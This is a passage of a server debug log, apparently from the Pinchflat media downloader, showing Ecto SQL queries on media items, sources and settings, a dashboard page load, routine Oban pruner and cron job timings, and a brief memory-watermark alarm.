WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 19:05:20.257 [debug] QUERY OK source="sources" db=1.1ms idle=11.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 19:05:20.262 [debug] QUERY OK source="media_items" db=1.9ms idle=10.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 19:05:20.265 [debug] QUERY OK source="media_items" db=2.3ms queue=0.4ms idle=11.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 19:05:20.267 [info] Sent 200 in 38ms 19:05:40.428 [info] {"source":"oban","duration":1445,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:06:00.968 [info] {"source":"oban","duration":331,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:06:10.430 [info] {"source":"oban","duration":1138,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:06:40.434 [info] {"source":"oban","duration":2541,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:07:00.970 [info] {"source":"oban","duration":299,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:07:10.436 [info] {"source":"oban","duration":1152,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:07:40.441 [info] {"source":"oban","duration":4088,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:08:00.971 [info] {"source":"oban","duration":312,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:08:10.443 [info] {"source":"oban","duration":1105,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:08:40.445 [info] {"source":"oban","duration":832,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:09:00.972 [info] {"source":"oban","duration":262,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:09:10.448 [info] {"source":"oban","duration":1946,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:09:40.450 [info] {"source":"oban","duration":931,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:10:00.973 [info] {"source":"oban","duration":291,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:10:10.453 [info] {"source":"oban","duration":2606,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:10:40.456 [info] {"source":"oban","duration":1316,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:11:00.980 [info] {"source":"oban","duration":6416,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:11:10.457 [info] {"source":"oban","duration":1452,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:11:40.460 [info] {"source":"oban","duration":1681,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:12:00.981 [info] {"source":"oban","duration":284,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:12:10.462 [info] {"source":"oban","duration":861,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:12:40.465 [info] {"source":"oban","duration":1635,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:13:00.982 [info] {"source":"oban","duration":216,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:13:10.466 [info] {"source":"oban","duration":940,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:13:40.468 [info] {"source":"oban","duration":871,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:14:00.983 [info] {"source":"oban","duration":247,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:14:10.470 [info] {"source":"oban","duration":1047,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:14:40.472 [info] {"source":"oban","duration":836,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:15:00.985 [info] {"source":"oban","duration":657,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:15:10.475 [info] {"source":"oban","duration":1883,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:15:40.477 [info] {"source":"oban","duration":1128,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:16:00.986 [info] {"source":"oban","duration":305,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:16:10.479 [info] {"source":"oban","duration":874,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:16:40.481 [info] {"source":"oban","duration":833,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:17:00.993 [info] {"source":"oban","duration":4838,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:17:10.483 [info] {"source":"oban","duration":947,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:17:40.485 [info] {"source":"oban","duration":847,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:18:00.996 [info] {"source":"oban","duration":332,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:18:10.487 [info] {"source":"oban","duration":852,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:18:40.489 [info] {"source":"oban","duration":860,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:19:00.997 [info] {"source":"oban","duration":376,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:19:10.492 [info] {"source":"oban","duration":1708,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:19:40.493 [info] {"source":"oban","duration":1358,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:20:00.998 [info] {"source":"oban","duration":294,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:20:10.497 [info] {"source":"oban","duration":2798,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:20:30.860 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 19:20:40.500 [info] {"source":"oban","duration":1712,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:21:00.002 [info] {"source":"oban","duration":669,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:21:10.503 [info] {"source":"oban","duration":1849,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:21:30.864 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 19:21:40.505 [info] {"source":"oban","duration":984,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:22:00.004 [info] {"source":"oban","duration":459,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:22:10.512 [info] {"source":"oban","duration":6436,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:22:40.514 [info] {"source":"oban","duration":906,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:23:00.005 [info] {"source":"oban","duration":562,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:23:10.525 [info] {"source":"oban","duration":9182,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:23:40.529 [info] {"source":"oban","duration":1395,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:24:00.007 [info] {"source":"oban","duration":311,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:24:10.532 [info] {"source":"oban","duration":1928,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:24:40.534 [info] {"source":"oban","duration":1299,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:25:00.010 [info] {"source":"oban","duration":2503,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:25:10.536 [info] {"source":"oban","duration":1565,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:25:40.538 [info] {"source":"oban","duration":1342,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:26:00.014 [info] {"source":"oban","duration":3085,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:26:10.542 [info] {"source":"oban","duration":2744,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:26:40.546 [info] {"source":"oban","duration":2629,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:27:00.023 [info] {"source":"oban","duration":3912,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:27:10.551 [info] {"source":"oban","duration":3878,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:27:40.554 [info] {"source":"oban","duration":2034,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:28:00.025 [info] {"source":"oban","duration":470,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:28:10.557 [info] {"source":"oban","duration":1695,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:28:40.558 [info] {"source":"oban","duration":1614,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:29:00.027 [info] {"source":"oban","duration":490,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:29:10.560 [info] {"source":"oban","duration":1034,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:29:40.563 [info] {"source":"oban","duration":1304,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:30:00.029 [info] {"source":"oban","duration":454,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:30:10.565 [info] {"source":"oban","duration":1159,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:30:40.568 [info] {"source":"oban","duration":1763,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:31:00.035 [info] {"source":"oban","duration":5928,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:31:10.570 [info] {"source":"oban","duration":1585,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:31:40.572 [info] {"source":"oban","duration":1385,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:32:00.036 [info] {"source":"oban","duration":382,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:32:10.575 [info] {"source":"oban","duration":1049,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:32:40.577 [info] {"source":"oban","duration":920,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:33:00.041 [info] {"source":"oban","duration":3313,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:33:10.582 [info] {"source":"oban","duration":3637,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:33:40.584 [info] {"source":"oban","duration":901,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:34:00.042 [info] {"source":"oban","duration":346,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:34:10.586 [info] {"source":"oban","duration":967,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:34:40.588 [info] {"source":"oban","duration":844,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:35:00.051 [info] {"source":"oban","duration":8410,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:35:10.590 [info] {"source":"oban","duration":914,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:35:40.595 [info] {"source":"oban","duration":4101,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:36:00.053 [info] {"source":"oban","duration":393,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:36:10.599 [info] {"source":"oban","duration":3262,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:36:40.602 [info] {"source":"oban","duration":2212,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:37:00.054 [info] {"source":"oban","duration":381,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:37:10.606 [info] {"source":"oban","duration":2987,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:37:40.609 [info] {"source":"oban","duration":1856,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:38:00.068 [info] {"source":"oban","duration":12260,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:38:10.611 [info] {"source":"oban","duration":1234,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:38:40.616 [info] {"source":"oban","duration":4559,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:39:00.075 [info] {"source":"oban","duration":3074,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:39:10.620 [info] {"source":"oban","duration":2631,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:39:40.622 [info] {"source":"oban","duration":1540,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:40:00.079 [info] {"source":"oban","duration":2773,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:40:10.625 [info] {"source":"oban","duration":1694,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:40:40.628 [info] {"source":"oban","duration":1971,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:41:00.080 [info] {"source":"oban","duration":276,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:41:10.630 [info] {"source":"oban","duration":1319,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:41:40.632 [info] {"source":"oban","duration":996,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:42:00.087 [info] {"source":"oban","duration":6304,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:42:10.634 [info] {"source":"oban","duration":1010,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:42:40.636 [info] {"source":"oban","duration":1068,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:43:00.091 [info] {"source":"oban","duration":2734,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:43:10.638 [info] {"source":"oban","duration":960,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:43:40.643 [info] {"source":"oban","duration":2990,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:44:00.092 [info] {"source":"oban","duration":501,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:44:10.650 [info] {"source":"oban","duration":5164,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:44:40.652 [info] {"source":"oban","duration":1245,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:45:00.102 [info] {"source":"oban","duration":505,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:45:10.654 [info] {"source":"oban","duration":1264,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:45:13.938 [info] GET / 19:45:13.941 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 19:45:13.956 [debug] QUERY OK source="settings" db=3.6ms queue=0.1ms idle=460.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:45:13.969 [debug] QUERY OK source="media_profiles" db=2.2ms queue=0.1ms idle=120.3ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 19:45:13.973 [debug] QUERY OK source="sources" db=2.4ms idle=124.2ms SELECT count(s0."id") FROM "sources" AS s0 [] 19:45:13.998 [debug] QUERY OK source="media_items" db=24.0ms queue=0.8ms idle=127.0ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 19:45:14.002 [debug] QUERY OK source="media_items" db=3.5ms queue=0.1ms idle=152.3ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 19:45:14.026 [debug] QUERY OK source="settings" db=1.6ms queue=0.4ms idle=69.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:45:14.033 [debug] QUERY OK source="settings" db=2.2ms queue=0.6ms idle=60.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:45:14.062 [debug] QUERY OK source="settings" db=1.2ms queue=0.1ms idle=87.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:45:14.118 [debug] QUERY OK source="tasks" db=0.6ms queue=0.3ms idle=119.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 19:45:14.150 [debug] QUERY OK source="media_items" db=1.1ms idle=146.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 19:45:14.160 [debug] QUERY OK source="media_items" db=7.8ms idle=126.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 19:45:14.169 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=136.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 19:45:14.211 [debug] QUERY OK source="media_items" db=10.6ms queue=0.1ms idle=138.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 19:45:14.215 [debug] QUERY OK source="media_items" db=3.1ms queue=0.1ms idle=93.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 19:45:14.230 [info] Sent 200 in 293ms 19:45:40.656 [info] {"source":"oban","duration":924,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:46:00.105 [info] {"source":"oban","duration":1166,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:46:10.658 [info] {"source":"oban","duration":940,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:46:40.661 [info] {"source":"oban","duration":1900,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:47:00.117 [info] {"source":"oban","duration":6168,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:47:10.664 [info] {"source":"oban","duration":1211,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:47:40.666 [info] {"source":"oban","duration":938,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:48:00.120 [info] {"source":"oban","duration":2309,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:48:10.668 [info] {"source":"oban","duration":955,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:48:40.670 [info] {"source":"oban","duration":1016,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:49:00.122 [info] {"source":"oban","duration":460,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:49:10.673 [info] {"source":"oban","duration":1871,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:49:40.675 [info] {"source":"oban","duration":927,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:50:00.131 [info] {"source":"oban","duration":1603,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:50:10.679 [info] {"source":"oban","duration":3122,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:50:40.681 [info] {"source":"oban","duration":1265,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:51:00.139 [info] {"source":"oban","duration":5775,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:51:10.683 [info] {"source":"oban","duration":856,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:51:40.685 [info] {"source":"oban","duration":977,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:52:00.150 [info] {"source":"oban","duration":10393,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:52:10.687 [info] {"source":"oban","duration":975,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:52:40.690 [info] 